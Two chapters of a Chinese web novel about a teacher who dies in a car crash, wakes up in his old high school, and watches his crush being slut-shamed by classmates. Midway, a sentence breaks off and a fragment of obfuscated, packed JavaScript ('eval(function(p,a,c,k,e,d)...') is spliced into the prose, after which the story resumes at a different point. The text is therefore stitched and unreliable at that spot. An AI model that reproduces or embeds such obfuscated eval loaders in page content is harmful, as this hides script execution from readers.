《无凛之冬》 1. 溯洄从之|一 . “我们一起等到最后和最初的一天——” 下课铃穿透了冬天的夜空,青年站在讲台上,缓缓合起书,垂眸向下,微微笑道: “世界剥破,仍如新橙蘸新雪。老师提前祝大家元旦快乐,这节课就到这里,下课。” 他刚轻声宣布完,椅子拖拉过地面的声音、防风衣摩擦的声音和说话声就交杂着响起,宋未海在一片喧嚣声中走出教室,从自己的大衣口袋处掏出手机。 不想刚一解锁,里面的消息就如同潮水般不断外弹。 “凹人设的伪君子,滚。” “亏我之前在各个平台疯狂安利你,感觉现在自己被啪啪打脸,我的互联网案底,呵呵。” “你以为你自己靠什么成为这么红的博主?之前大家都是因为你做公益觉得你有爱心很感动,结果到头来在外装得大爱无疆,对家人见死不救?呕,拿别人的苦难营销,恰人血馒头流量红利的烂钱,你自己拿着安心吗?快退钱滚吧,恶心。” “现在救助的那个班里女孩子多,合理怀疑这傻逼是看年轻小姑娘好骗,所以对她们图谋不轨吗?草,好恶心,怎么不报警抓起来啊。” 宋未海叹了口气,一边走进办公室,一边看着微博底下源源不断地弹出恶言恶语,有些头疼地揉了揉太阳穴。 现在已经过了立冬,蓬山市的气温急剧下降,窗外的天像一张宣纸浸透在墨水里,就连街边亮起的一排路灯都显得冷冰冰的,教师办公室里的暖气其实开得很足,但宋未海自己身体不好,受不得冷,里三层外三层地套着棉衣,外面还裹着一层厚重的羽绒服,可就算这样,还是阻碍不了他觉得自己的耳尖和鼻头都发痒发痛,火辣辣的感觉像是降了温的冷火在他的皮肤上反复地灼烧,加上手机上源源不断弹出来的恶意评论,更是让他觉得寒意已经顺着四肢百骸渗进心底。 他阖了阖眼,翻转倒扣手机,努力平复下情绪,站起身,将书桌上的一叠书合拢,费劲儿地弯身拖过地上的水壶,就把它从桌底搬上桌子的这么短短几秒,已经让宋未海气喘吁吁了。 心口隐隐传来慌张的感觉,肺里跟堵了塞子似的,吸的每一口气儿都像被人掐了半截的豆苗,异常短促急切,身上是发冷的,额头和脖颈处却沁出一层细细密密的汗珠,身上的衣服厚重得让人感觉背了三层厚棉被,脚底板却感觉轻飘飘的,像是下一秒就要摔倒。 他这副样子,让同办公室的老师都吓了一跳。 “哎,小宋老师,脸怎么那么白。”带同一个班的女老师领着个小姑娘进来,看见他时吓了一跳,“咋回事儿啊你这,就说了别逞能吧,排异反应?要不给找个老师送你去医院?” “不麻烦您了。”宋未海扶着墙站起身,“之前在医院观察了很久都没大事,我自己去就行。” “哎你说说你们小年轻。”那位资历更高的女教师叹了口气,“年纪这么小,结果落得一身病。” 宋未海闻言笑笑,低头叫车,没多说什么。 那小姑娘看着瘦瘦小小,却拎着一堆大包小包的,裹着红围巾,有些担忧道:“老师……” “我没事。”宋未海勉强冲她笑了笑,“一年没见了,你好像又长高了点儿啊,只可惜我今天不太舒服,没法跟你好好聊聊了,等改天吧。” 小姑娘听闻,神色有些遗憾,但仍然听话地点了点头:“您要好好休息啊。” 那小姑娘之前是宋未海班上的学生,叫沈祈生,原本一直在这所盲校读书,直到不久前等到了好心人的眼角膜供体,在十六岁时获得光明,离开了盲校。 不过这姑娘心思细腻,性格长情,就算离开了盲校,每每放假有空,她仍会雷打不动地回来看老师。 如果她和普通孩子一样长大,这会儿应该正是大一在读的年纪吧。宋未海看着她把礼物放在门口的角落,轻轻叫了声宋老师再见,有些惋惜地笑了笑。 不过姑娘似乎没觉得有什么,能够看见这个世界,对她而言已经是莫大的幸运,她说完再见后再次颔首道别,然后就跟着女教师一并出去了。 宋未海点头应了声,又低头扫了眼手机,看着底下车快到了,简单收了下东西,打算离校去医院。 不料他前脚刚踏出办公室的门,就差点被什么东西绊到,所幸宋未海反应快,及时收脚,才没踩上去。 他移开步子,弯身捡起地上那个小玩意儿,那是一个非常普通的钥匙扣,上面是一条鱼,上半身海蓝,下半身淡黄,模样可以说是低配版的微信小鱼emoji,能看出来已经有好些年头了,角角落落的地方都粘了灰尘与划痕,就在鱼肚的位置,歪歪扭扭地刻着一个“s”。 他见过这个挂件,沈祈生常年把它带在身边,从未离手,估计刚才那会儿双手拎着礼品才把它揣兜里,结果没想到就这么顺势掉在了办公室门口。 宋未海下意识地就像抬头叫人,但发现俩姑娘早就不见踪影了,他有些尴尬地笑了下,想着明天见到的时候再还给沈祈生,就重新攥紧了那个海鱼的小挂件,但又怕这么一夜给她弄丢了,就顺手掏出自己的家门钥匙,把他挂住了钥匙环上。 宋未海平时不爱给钥匙环挂得太花里胡哨,在此之前,那个上面只有一个亚克力挂件,里面装的是一张冲洗出来的胶片,宋未海之前打灯看过,灯光之下投射出的是一张夕阳时分满布冰块的沙滩,从当地气候来看,应该处在高纬甚至是极圈内部的地区,当时灯打下来的那一刻,冰凌瞬间透出海蓝和金黄两种颜色,让人莫名觉得宁静,宋未海很喜欢,于是就把它装进了亚克力里,一直带在了身旁。 拿出钥匙的时候,青年瞥见那张胶片,心中略感安慰,不由自主地一笑,随即垂眸,仔仔细细地将海鱼挂件扣好,然后继续朝楼下走去。 不过一会儿,宋未海站在冷风萧瑟的校门口,双腿冷得哆嗦,跟网约车司机确认地点。 “喂,师傅,我在蓬山市盲人学校的校门口。” 几乎是他话音落下的瞬间,对面传来一阵粗旷的男声,听起来极为不耐烦:“哎呀转弯太麻烦了,车停在对面,打着双闪,你自己过来吧,反正我到了。” 说罢,对面还小声咕哝了一句:“妈的,元旦前载人去医院,晦气。” “……”宋未海本来就不舒服,被莫名吼了这么一通,更觉得脑袋发晕得紧,面前的花花草草仿佛都叠出了重影,浑身都软绵绵的,但即便是这样,他看着对面挂断的电话,也没说什么,只是叹了口气,将手机揣进兜里,一边环顾着找对面打双闪的轿车,一边朝马路对面走去。 但正当宋未海把所有注意力都集中在找车上时,突然一阵尖锐刺耳的鸣笛自耳边响起,由远及近、呼啸而来! 顷刻间,宋未海的脑中像被猛然打散的棉花,无声地飞散而开,搅得他大脑一团乱麻,等他强迫自己从混乱中抽出一丝清晰的思绪,后知后觉地转头,才发现发现一道刺眼的白光从自己身旁直逼而来,紧接着迅速占满了他的整个视野——— 轰!!! 宋未海来不及反应,在千钧一发之际,他唯一的念头,是紧紧抓住了自己手中的钥匙。 身体本来就飘飘然的,这会儿更是感觉五脏六腑都在体内乱撞,身后凄厉的车鸣和惊恐的尖叫在他的耳中都像是被低音音箱过滤了一层的声音,模糊却一下一下地击打着他的鼓膜,斑斓的灯火在顷刻全部扭曲成刺眼的白,他觉得自己现在是一个被刀子划开的砂袋,身体的器官像无数颗粒一样向四面八方迸出、散架、彻底崩坏,飞得满天洋洋洒洒,最后悄无声息地落地。 那个孩子找不到珍视的东西,会不会着急? 宋未海这么想着,唰地一声被砸到了地上,这会儿耳朵里是嗡嗡的长鸣,隐约能从这种长时间持续的响声中听到由远及近地脚步,视野已经开始布满发黑的斑点,他的眼睛此刻是个对焦不准的镜头,半清晰半模糊间,他只能看到有殷红的血流,从自己的胸口缓缓淌出。 伤到心脏了吗…… 宋未海不觉得疼,也不觉得悲哀和恐惧,他看着胸口红色的血,只觉得歉疚。 ——真对不起啊。 那是他最后的想法。 . ——哗! 还没来得及感受到车祸带来得更加强烈的剧痛,紧接着一阵冰凉刺骨就直抵肺腑,宋未海感觉自己浑身上下被淋了个透彻,他猝不及防呛了一口水,然后彻底清醒。 他剧烈地咳嗽了几声,睁开双眼,下一秒,一阵强烈而明媚的光芒直刺进他的眼睛。 他揉了揉眼睛,下意识地抬头看向四周,当他的目光落在熟悉却又有些陌生的橙棕色砖墙上时,才猛地惊醒,发现这里根本不是什么惨不忍睹的车祸现场—— 而是他再熟悉不过的高中校园! 宋未海有些不确定地抬头,走廊上的学生都穿着他高中学校的校服,而就在长廊的最中央,有几个男生正勾肩搭背地倚着栏杆,一脸戏谑地看着他的方向。 那一刻,宋未海突然感谢自己学生时代熬夜看的各种小说,让他不至于对此刻的场景感到太惊讶。 如果按照小说里的发展,那自己这是……重生了? 他还没来得及弄清到底是什么情况,楼上的男生就吹了声口哨,冲他打了个手势,脸上却毫无歉意,倒是嘻嘻哈哈的:“对不起啊哥们儿,不小心浇到你了,我手滑。” 宋未海看了眼自己湿得滴水的校服袖子,虽然没生气,但一时也哑口无言:“……” 他真是搞不懂了,上一世过得太窝囊也就算了,毕竟重生主角第一世都憋屈,但别人的重生文都是死得凄艳悲壮,活得光芒万丈,结果他不仅变成了注意力不集中结果被车创飞的安全教育典型案例,还在落地时被淋成了彻头彻尾的落汤鸡? 他的水逆体质不至于这么死缠烂打地跟着他到了下一世吧?! “……”想到这儿,宋未海十分屈辱地抹了把脸上的水,目光无奈地看向那群罪魁祸首。 为首的男生毫无诚意地道完歉,又微微偏过头,蓦地勾起唇,吊儿郎当道:“诶,旁边那位,兄弟几个闹着玩儿呢,不好意思啊,你不会这么开不起玩笑的吧?” 他此话一出,宋未海才后知后觉地发现遭殃的还有一个人,便条件反射性地转头去看。 但在二人视线相撞的瞬间,他突然愣住了,缓缓地抬手捂住胸口,差点以为自己又要心脏骤停了。 不看不知道,一看吓一跳。 旁边站着的不是别人,正是宋未海学生时代喜欢多年、却连话都没能说上一句的暗恋对象沈余离。 “……” 宋未海表面风平浪静,其实内心像被雷劈。 他本以为自己上辈子积德行善,老天开恩给他重来一次的机会,好巧不巧自己又回到了学生时代,可以和这位暗恋对象擦出爱情的火花,一路甜蜜走上人生巅峰,不料什么充满粉红色泡泡的故事还没发生,他们俩先一起被莫名其妙淋了一身。 不是,等下,这跟小说情节不一样啊?! 只可惜沈余离没有看他,更没兴趣揣度他峰回路转的心理活动,只是低头甩了甩身上的水。 二人站在正中央,场面一时有些尴尬。 “……额,那个……” 宋未海眼神毫无章法地躲闪,四肢像是僵化了一般,大脑被各种各样的场景和情绪塞满,让宋未海在一时的混乱中,几乎是不带任何思考地、下意识地伸出一根食指,在沈余离的肩膀上轻轻点了点。 沈余离转过头,面无表情地看着他。 二人在目光对上的刹那,宋未海的心脏开始怦怦狂跳起来,突然很不争气地怂了。 刚刚这个动作快到他自己都没反应过来,下意识地就做了,丝毫不拖泥带水,结果现在别人真回应了,自己倒是慌得六神无主,一时不知道下一步该干什么。 他上辈子单身23年,别说撩妹经验了,他几乎就没跟姑娘说过话,对恋爱和妹子那一点微薄的了解全来自于他妹他妈和他看的小说。 “……” 宋未海崩溃,宋未海沉默,宋未海内心的省略号快要溢出来了。 他从脑海中搜刮了各大男主的撩妹宝典,就这样保持一个姿势沉默了许久,才缓缓抬手,犹犹豫豫地脱下了自己的校服外套,有些不好意思地推了过去,小声试探道:“你……你如果需要……就拿走吧。” 沈余离身上只穿了一件校服长袖,她垂下眼,淡淡地扫了一眼宋未海手中的校服外套,简短道:“不用,谢谢。” “啊……” 宋未海没想到她拒绝得这么干脆,微微一噎,搭着校服外套的手悬在半空中,一时有些尴尬,脑海中立马上演了一出高岭之花嫌弃穷小子的古早言情大戏,越代入越觉得脚指扣地,满脸涨得通红。 沈余离瞥见他有些慌乱无措的表情,沉默片刻,还是平静地提醒道:“你外套也湿了。” 说罢,她别开目光,不再看他。 ——对啊!! 宋未海经她这么一说,一手拎着校服外套,表情呆滞几秒,紧接着心中飞过无数吐槽: 两个人都淋湿了,这时候拿外套给她有屁用啊?! 他的耳根以一种肉眼可见的速度飞快飙红,整个人羞愧得想当场晕倒,赶忙捂脸转身,准备着撒腿狂奔逃离现场,不料他刚迈开脚,就被方才那个男生叫住了。 “哎,兄弟。”男生的声音从他头顶上方传来,调笑意味十足,“这么绅士体贴,你不会喜欢她吧?” 宋未海吓了一跳,下意识地看向沈余离,可惜对方似乎对这个话题毫无兴趣,只是冷冷地抬眸,盯着楼上几人。 场面十分窘迫,宋未海现在是真的觉得自己还不如死了,整张脸都在发烫,连连退后几步,果断矢口否认:“没、没有……只是习惯性地递了一下。” 他现在脸红成这样,一半是害羞,一半是紧张,他这人话少也很排斥社交,俗称社交恐惧症,不喜欢待在众目睽睽下,更别说还被当众揭穿自己极其隐秘的心思。 “……真的没有。”宋未海生怕他不信,又硬生生地重复了一遍。 “哦,这样啊。”男生尾调上扬,意味深长地看了宋未海一眼,脸上笑意不减,“那就好,要是喜欢她就遭大殃了,前几天学校里传得沸沸扬扬的,你不会知道她……那个吧?” 话音一落,像是触发了什么开关,他周围的男生顿时不怀好意地哄笑起来,用一种揶揄但极其令人不适的目光打量着宋未海。 虽然不知道他们为什么会发出这样的笑容,但是他们的笑声和目光仍令人感到不悦,宋未海微微移开挡脸的手,脸上的热意因为这些话褪下半分,微微皱眉:“什么?” 男生的表情忽然变得神秘,随即微微探出身,冲他扬了下眉,满脸嘲讽和鄙夷,故意神神秘秘地压低了声音,轻快道: “——公交车啊。” 他明作窃窃私语状,但是音量却能让在场的所有人都听清,瞬间数十人惊愕的目光唰唰投来,聚焦在沈余离方才远去的方向,他身旁的男生目光则更加放肆,上上下下地打量着沈余离,目光像按了轮子,在她身上来回地游移,他们眼睛里含着笑意,不知为什么,明明他们在笑,却让人觉得犹如浑身虫蚁上身,细细地啃噬着皮肤,浑身都别扭。 宋未海表情没什么变化,他其实没太听懂那个词是什么意思,但从众人的反应来看也不是什么好词。 他退后半步,看向那名男生,咳了一声,脸上没有愠色或者吃惊,只是带着一些茫然,认真地回答他:“我不清楚,也听不懂你在说什么。” 原本一脸幸灾乐祸等着看戏的男生像是没料到他会这么回答,表情一僵,随即敛了笑,一脸无趣道:“嘁,这个太正经了,没意思,散了散了。” 说罢,几人勾肩搭背地走了,临走前还居高临下地看了宋未海一眼,眼神里满是看不起和轻蔑,宋未海对上他们的目光,微微一顿,还是什么话都没有说,他没敢看沈余离,心脏到处乱撞,让他根本无法做出足够冷静的判断,几乎是背对着少女,不管不顾地落荒而逃。 . 宋未海所在的蓬山三中是全寄宿制,高二第一次月考后分文理科,分科之前是两个实验班和四个平行班,宋未海被分在了高二一班,跟沈余离的班级都是平行班,但两班之间隔了三个号,实在离得太远,让宋未海这种社恐在上一世连搭话的机会都没有。 此时宋未海浑身都湿透了,他稍微处理了下,又找认识的同学借了件干外套,等看起来没那么狼狈了才回班。 不料他刚拉开椅子坐下,身旁的同桌突然一脸八卦地看向他,好奇道:“诶,听隔壁班的说你很喜欢四班沈余离,说是要追她?” “……”宋未海哑然,在心里默默腹诽,这绯闻的速度传得倒是够快。 “没有。”他摇了摇头,“不认识。” 同桌一手转着笔,一手抵在下巴上,微微扬起头,蓦地勾起唇角:“真的不认识?还是只是她单方面不认识你?” 被戳中了心思,宋未海抿了抿唇,故作镇定地低头掏桌肚,连眼皮都没抬一下,实话实说道:“我不认识她。” “嘁,我还以为能吃瓜了呢……你这么怂。”同桌一翻白眼,悻悻地缩回身子,啧啧感叹道,“反正听哥一句劝,别爱沈余离。” 宋未海抽出书本的手一顿,但面色还是波澜不惊,佯装随口一问:“为什么?” “因为玩得花啊。”同桌说这句话的时候没有停顿哪怕一秒,一脸漫不经心,和一种隐藏的、难以察觉的兴奋,“你没听赵志云他们说吗,这女的就是个公交车啊。” 他把话说到了这个份儿上,宋未海大概也猜到了公交车三个字究竟是什么意思,他捏着书页的手指微微收紧力道,但表面上仍然维持着镇定,像一个局外人一般,毫无感情起伏,自然而然地问出一句:“为什么?你看到了吗?” “……”同桌一顿,随即摆手道,“我当然没看到啊,我又不去那种地方我怎么会知道,赵志云这么说的……你这么认真干嘛,不会真喜欢她吧?” “都说了不认识。”宋未海觉得这个对话莫名地让他感到不舒服,只是淡声重复了一遍自己的回答,随即微侧过身,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话音落下,几个男生又发出一阵惊天动地的怪笑,那些带有侮辱性质的、极其难听的字眼,一字一句、毫无保留地传进教室。 恶意像山洪一样,山体的遮挡让人们看不见洞内汹涌澎湃的波涛,只能隔着石壁隐隐听到水声翻滚时的轰鸣,但一旦找到山崖的裂缝,泥泞激流就变成了飞飙出枪口的连珠炮弹,带着震耳欲聋的哗然、迅雷不及的速度、贯穿躯体的力量,在瞬间喷薄而出,带着摧毁一切的气势狂奔而出! 音量不大不小,教室里的人恰巧都能听到,瞬间教室里的气氛就变得奇怪起来,在一阵诡异的死寂之后,教室里隐隐发出低笑声、私语声、还有附和声。 明明周围人什么都没有说,但宋未海心里却像是长了一块疙瘩,让他觉得硌得慌,他抿紧了唇,转头看向几个男生经过的方向,眉毛轻轻拧起,整个人都倍感不适。 不过这种不适还没来得及发酵,就被教室外的变故打断了。 几个人正聊得热火朝天之时,不料教室后门突然又出现了另一个身影,一个女生抱着书本,缓缓停在了几名男生身后。 在这条长廊的尽头,七八个男生并排而行,把这一条走廊的路堵得水泄不通,沈余离也没有出声提醒他们让道,只是不动声色地看着他们随意非议自己,面容异常平静。 那几个男生还要说什么,但突然感受到了身后的视线,转过头,猝不及防地看见了此刻风口浪尖的女主角。 “诶。”第一个发现的男生赶忙顶了顶周围笑得欢的几人,压低声音道,“别说了,你看看后面是谁。” 话音落下,几个男生纷纷转头,向下斜睨着看去,在看见沈余离后,都不约而同地收起嘴角,没了声音。 赵志云站在中央,上下打量了沈余离片刻,随即那种高高在上的、如同打量一件商品的目光,自上而下地落在了沈余离怀里的书本上。 “……《局外人》?”赵志云轻声念出书名,转而哼笑一声,“沈余离,你看得懂这玩意儿吗?你不要又当又立的,晚上去干什么见不得人的事情,结果白天捧着本书装文艺女青年啊?” 他说完,身后立刻有人压着声音低低地笑起来,笑声中带着意味明显的讥讽,小声地跟身旁人咬耳朵:“好装。” 沈余离终于从原来一味的沉默变成有了些许反应,她抬起眼,面容平静地和赵志云对视。 一行人在门口对峙,火药味顿时腾升,赵志云双手抄着口袋,得意洋洋地看着沈余离。 而另一边,宋未海能清楚地看见门口的场景,他一只手紧紧攥住了桌子边沿,腕骨处青筋脉络分明凸起,肩线因为太用力而微微发抖,一脚死死蹬着地板。 心底所拥有的人道主义和对于暗恋对象本能的护短,让他很想现在就掀翻桌子站起来,走过去挡在沈余离身前,像所有英雄救美的桥段一样帮她喝退那些人,心底那股强烈的冲动一直在推着他、催着他赶快行动,想把他整个人从椅子上拽起来,但他始终紧紧黏在椅子上,连后脚都开始发麻了,也仍然没有站起来走出教室。 内心深处的某种顾虑在发出微弱的声响,虽然音量并不大,但存在感极强,始终牢牢地根植在他的心底,并以一种更强大的力量,把他死死摁在座位上。 ——教室里的人无一例外地都在旁观,他现在冲出去,会不会显得太怪异、太出格? ——再者,赵志云是学校里出了名儿的风云人物,成绩好,长得帅,但是痞里痞气,还是个刺头儿,谁跟他杠上都没有好果子吃,不说受到伤害,至少也会受到极大的影响,让对方连正常地上学都做不到。 宋未海转过头,上一世的那些恶言恶语又不受控制地冒出来,漂浮在他的心头,那样被周围人用异样眼神和讽刺话语包围的不适感,再一次紧紧包裹住他的全身,曾经某种呼啸而出的冲动,在此刻像撞上了一张轻薄却不会被撞破的网,在那一秒化为尘烟。 宋未海的内心从最原始的一腔热血到有些动摇,他低头,看向自己书桌上的课本。 他为此觉得恐惧,但又痛恨自己的恐惧,十指紧紧抓着凳子,边沿的木屑扎得他手又痒又痛,那股痛感一路烧到他的心里,心脏像被烧出了无数个冒着烟的小洞,炙烤的痛感反复刺痛着他。 ——真的值得吗? ——为了一名从来没有说过话、只是单纯对她心存好感的同学,把自己卷进这趟浑水,让自己屡遭非议,让自己受到阻碍甚至是霸凌,连正常地上学都做不到,只是为了出这一时的头,这真的值得吗? 宋未海被这种突如其来的想法吓了一跳,紧接着羞愧更甚,当他看向门口时,很多思绪一并盘旋在心头,是思虑、是担忧、是歉疚、是痛恨、也是看不起,他时常谨小慎微,却也时常因为谨慎而觉得自己怯懦,他总是觉得自己站在黑暗里,焦心却无能为力地旁观着别人去面对一切,每当他想咬牙做那个冲出去的人时,源自人类最深处的求生本能又会硬生生把他钉在原地,让他对面前的一切,都望而却步。 想象是何其简单,行动又何其艰难。 这一丝念头紧拉着宋未海,让他无论如何都难以迈出第一步。 他的目光死死盯在了几人身上,握着座椅的手愈发用力,甚至连指腹都被摁得发红发痛,但始终都没有迈出一步。 但正当他踌躇不定时,门口突然传来一阵巨响,紧接着是男生骂脏话的声音。 宋未海一惊,赶忙循声望去。 只见教室门口,沈余离面无表情地拽起赵志云的领子,把他狠狠地拉向自己,随即用力往旁边一甩! 沈余离力量有限,赵志云没被她撂倒,但也踉跄着往一旁连退几步。 “卧槽!”他没想到面前这个女生会真的跟他动起手,瞪起双眼,怒道,“你这个……” 他的话戛然而止。 沈余离从怀中掏出书本,轻轻拍去上面的灰尘,随即径直走到赵志云面前,迅速抬手扬起书,紧接着一阵疾风挂下,她唰地一声把书扣上他的头顶,一串动作行云流水干脆利落,把那人的脑袋直直地拍上栏杆,发出咚的一声闷响! 一瞬间,周围都寂静了,所有人不可置信地转头看向沈余离,连呼吸声都清晰可闻。 沈余离的表情从头至尾没有一丝一毫的变化,她根本没给赵志云跳起来继续骂她的机会,抱着书利落转身,大步跨进了宋未海班级的教室,越过人群,径直走到宋未海面前。 “……”宋未海喉结一滚,想起方才的场景,不由自主地往后退了退,背部紧紧贴着墙壁。 这姑娘看着瘦瘦小小的,结果刚才单手就把一个一米八的大男生拍在了栏杆上,这会儿又冷酷肃杀气势汹汹地走到他面前,宋未海脑中开始飞速回忆刚刚究竟有没有哪里得罪了这位活阎王的地方,那一瞬间他甚至连跪下去是什么姿势都想好了。 只不过沈余离并没有把他拎起来摁进墙里,她无视了身旁男生一脸“我就知道”的目光,弯下身,向他伸出手。 宋未海望去,下一秒瞳孔一缩。 哗啦一声,少女掌心摊开,上面躺着一串钥匙,钥匙环扣上扣着两个挂件,其中有一个形状像条小鱼,落了灰尘,上面还沾着一星半点的血迹。 那是他本以为早已被遗落在上一世的海鱼挂件。 他抬头,张了张口,有些惊讶道:“这——” “前面在楼底,这个东西从你口袋里掉出来了,我重新回去时捡到的。”沈余离低头看向他,目光平静如水,“是你的吗?” 2. 溯洄从之|二 . “啊、啊……”虽然沈余离当场把宋未海拎起来摔墙里的事情并没有发生,但他第一次实打实地和高中暗恋对象讲话,难免还是有些紧张,少年红着耳根,连连点头,伸手就要去拿,“对的,是我的,谢谢——” 不料他的话还没说完,沈余离的手向内一收,将钥匙移开半寸,紧接着咔哒一声,干脆利落地将那只小鱼挂件卸了下来,然后把拆掉小鱼挂件的钥匙还给宋未海,垂眸看着他,淡淡道:“同学,中午的时候,我们单独谈谈吧。” “……??!” 啊? 她说什么? 我靠?! 宋未海靠着墙,能清晰地听到自己心跳极速加快的声音,一时表情管理失控,有些震惊地看着沈余离:“不好意思同学,能不能……再重复一遍?” “……”沈余离没有表情地看向他,样子像在看一个智障。 宋未海意识到自己有点被激动的情绪冲昏头脑了,咬了下舌头,利用痛感让自己清醒,有些不好意思地看向沈余离,小声道:“我知道了……那个,挂件可以先还给我吗?对我来说,挺重要的。” 毕竟连重生这么离奇的事儿都发生了,万一这只是他被撞成植物人后做的一场梦,醒来之后,这个挂件还要还给沈祈生。 “抱歉。”但沈余离却没如他所愿,只是把挂件收好,拒绝得干脆且无情,“可能看起来有些唐突,但确实不能还给你。” 宋未海很想要问为什么,但鉴于沈余离方才以一挑七的英勇事迹,他不敢再多说什么,默默地把话吞了下去,努力把注意力转回书桌前。 沈余离瞥了他一眼,没再多做停留,转身离开了一班教室。 不料她前脚刚走,后脚班级内部就炸开了锅,窃窃交谈声像无数只马蜂一样从被捅破的蜂窝里满溢出来,宋未海觉得那种浑身针扎般的感受又复燃起来,而一旁的同桌毫无察觉,一把勾住宋未海的肩膀,极力压低兴奋的语气,用力摇晃着他:“我靠,你还说你俩没一腿?!她平时装得清高的很,刚刚直接找你来了,这不欲擒故纵吗?我跟你讲,公交车绝对对你有——” 宋未海听不得这些词,难得有点恼火,伸手推开了同桌,微微皱眉:“别说了。” 同桌完全没有发现他情绪的变化,甚至觉得他是在掩饰羞涩,反倒笑嘻嘻地凑得更近:“你急了你急了,别不好意思啊,虽然她名声挺差的,但好歹有人追你了不是吗?” 宋未海缓缓阖眼,克制了一下自己的情绪,随即睁开双眼,加重语气重复了一遍:“可以了,不要说了。” 同桌见他真没嘴硬或者开玩笑的意思,切了一声,退回了自己的座位,大概是觉得自己脸上的面子挂不住,看似漫不经心地补了一句:“书呆子活该没女朋友,不过不跟你计较了,被沈余离这种人看上,有的你倒霉,带不带病都不知道。” 宋未海听到这些话,没站起来跟他吵,他想不出什么能把人骂得落花流水的话,面对冲突时手本能地有点发抖,沉默到最后也只是深吸了一口气,把桌子移到最墙角,强迫自己把注意力集中在课本上。 身旁的同桌见他没反应,觉得无趣,没再理他,低头用手机摆弄起什么。 几分钟后,班级里有同学发出一阵惊呼,然后眼神微妙地看向宋未海。 视线聚焦而来的刹那会在人的身上具化出实感,每一道目光看过来时都如同被摁下的打火机,嚓的一下,皮肤就觉得一瞬滚烫煎熬。 宋未海不喜欢被人关注,他把头埋得更低,想要避开这些令人不适的注视。 但那些人不但没有收敛,反倒有越来越多的目光牢牢黏在了他身上,甚至想起了窃窃私语声,其中隐约夹杂着他的名字。 在起起伏伏的八卦声中,宋未海有些懊恼地抓了抓头发,秉持着眼不见心不烦的原则,抬手撑着自己的脑门,遮挡掉大半的视线,却在动作的无意间看到了同桌的手机页面。 头像他再熟悉不过,正是学生群体中存在感极高的校园墙。 而上面,赫然展现了三行消息。 [墙,投个稿。] [四班某著名的三陪女貌似看上了一班某男生,公交车搭书呆子,大家可以期待一下。] [厚码谢谢。] . 沈余离看到朋友圈,一脸无趣地把手机揣进校服兜里。 他们的话术翻来覆去就只有这几套,时间一长,再敏感的人都觉得无聊了。 她无视掉一路上周围人打探好奇的目光,径直回到自己的座位上,掏出口袋里的那个挂件,旁若无人地细细端详起来。 这种挂件她以前在水族馆的纪念店里见过,不过后来水族馆倒闭了,这种不值钱的小玩意儿也随之消失了。挂件看上去已经有些年头了,边边角角都有磨损,斑斑点点的污垢沾在上面,甚至在角落处还凝固了一小块血迹。 不过这些对于沈余离而言都不重要,最吸引到她注意的,是鱼肚的地方。 上面歪歪扭扭地刻了一个S,一看就是新手刻的,凹陷部分的旁边落了灰,并不美观,但仍然清晰可见。 沈余离垂眼,手指指腹轻轻摩挲上那个S,眯起眼睛,脑海中闪过几个零零碎碎的片段。 当时正逢深秋,银杏和枫叶如同两股齐头并进的流火,气势张扬地烧上一路的枝丫,深艳的红和明媚的金托住了大半的阳光,街头车来人往,一阵树叶翻飞,如同表面起伏的红色海洋被倒挂在了天空,秋风则是从山谷迸发的波浪,奔涌穿梭在姑娘们之间。 只有十岁的沈余离蹲下身,与另一个更年幼的女孩堪堪平视。 幼小的孩子眨巴着天真无邪的双眼,她的眼型像杏仁一样饱满漂亮,眼瞳却像嵌进了两颗玻璃球,晦暗冰冷得没有一丝光泽,她像个洋娃娃一样站在那里,任凭对面的女孩儿拉过她的手,翻过来,让她的五指张开。 须臾,沈余离在女童的掌心上放了一个海鱼的挂件,然后温和地摸了摸她的头,替她整平了裙摆,神色认真地看着女童,轻声嘱咐道:“这是我们上回去水族馆时,我偷偷给你买的,小祈,以后要有新生活了,就不要再回头看了。或许现在我说这些话对于你而言太残忍,可我怕以后就没机会了,所以我必须得说,你可能也听了太多那些身残志坚的理智故事了……但姐姐想告诉你——” 少女看着对面的小孩,低下头,发丝顺着动作垂落,和漫天银杏融为一体,她的嗓音纤细轻柔,语气却带着一种超乎年龄的稳重,像温泉里咕咚涌现的水,生来就带着抚平人心的温度与力量: “我希望你可以坚强,但我更希望你能开心,不必永远勇敢地对抗生活,如果累了,休息一下也可以,但最重要的是要走下去,但愿下次看见你的时候,你已经平安长大成人了,再见,妹妹。” “啊,对了。”少女刚说完再见,又突然想起什么,抬起手,轻敲了一下小女孩的头,“以后姐姐不在,别忘记带钥匙了,记得把备用钥匙藏在安全的地方。” “嗯……”小女孩懵懵懂懂地抬头,“那藏在地毯套子的夹层里可以嘛,姐姐?就像你以前那样。” “如果你记得,而且不会被坏人发现的话。”少女微笑道,“那就可以。” 话落,少女伸手,轻轻拍了拍女孩儿的肩头,目光投向她身后早已停了许久的轿车,眼中的柔和渐渐退去,不知道在想什么。 而另一边,年幼的姑娘仰起头,还在满步蹒跚的她尚且不理解离别二字的意义,只是似懂非懂、却无比用力地点了点头,掰着手指头,硬是将少女看似有些生涩难懂的话一字一句硬记下来。 沈余离的眼中恢复方才的笑意,又在她的头发上揉了揉,温声重复了一遍:“他们在等你,快去吧。” 女童的眼睛空洞地直视前方,没有看少女,只是茫然地开口问道:“姐姐不跟着去吗?” “不跟了。”沈余离看着她,语调温柔地像风起时唰然飞扬的枫叶林,微微笑道,“去吧,小祈。” 女童抱紧了怀里的娃娃,过了很久,直到身后传来呼唤她的声音,她才有些迟钝地点了点头,转身,跌跌撞撞地消失在泱泱火红中。 沈余离站起身,面前的世界像是被油画色彩晕染出来的世界,蓝得摄人心魂的天空,红得风风火火的树林,宽阔的大道笔直地劈开这些明艳的色块,贯通其中,小姑娘和轿车旁的两个大人像是其乐融融的一家三口,而她仿佛一个站在画框之外的人,旁观着画家大开大合的手笔,秋日金黄的阳光播洒在整个画面里,她却感受不到一丝一毫的温暖。 和戏文里的孩子不同,她既没有觉得被抛弃的失落,也没有对妹妹的嫉妒,她的情绪似乎鲜少有大规模的震动与开裂,但在这看似贫瘠的情绪中,只有一个念头,如此突兀、如此深切、如此不可动摇地扎根在她的心底—— ——她想要妹妹安然无恙地成长。 